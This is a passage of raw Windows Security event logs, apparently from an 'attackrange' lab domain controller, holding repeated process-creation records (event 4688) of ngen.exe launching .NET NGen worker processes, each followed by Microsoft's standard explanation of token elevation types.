Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255352 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab8 -InterruptEvent 0 -NGENProcess a94 -Pipe abc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255351 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess a94 -Pipe a64 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255350 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a48 -Pipe aa8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255349 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess a48 -Pipe aa0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255348 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess a54 -Pipe a8c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255347 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess a5c -Pipe a4c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255346 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa0 -InterruptEvent 0 -NGENProcess a80 -Pipe a98 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255345 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a68 -Pipe 9fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255344 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a68 -InterruptEvent 0 -NGENProcess a44 -Pipe a7c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255361 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess aec -Pipe ad4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess aec -Pipe a94 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255359 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aec -InterruptEvent 0 -NGENProcess adc -Pipe ae8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255358 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess a44 -Pipe a84 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255357 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess a44 -Pipe ab4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255356 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ad4 -InterruptEvent 0 -NGENProcess a44 -Pipe ad8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255366 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac0 -InterruptEvent 0 -NGENProcess ae4 -Pipe aec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255365 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess ae4 -Pipe acc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a90 -InterruptEvent 0 -NGENProcess ae4 -Pipe ad0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator 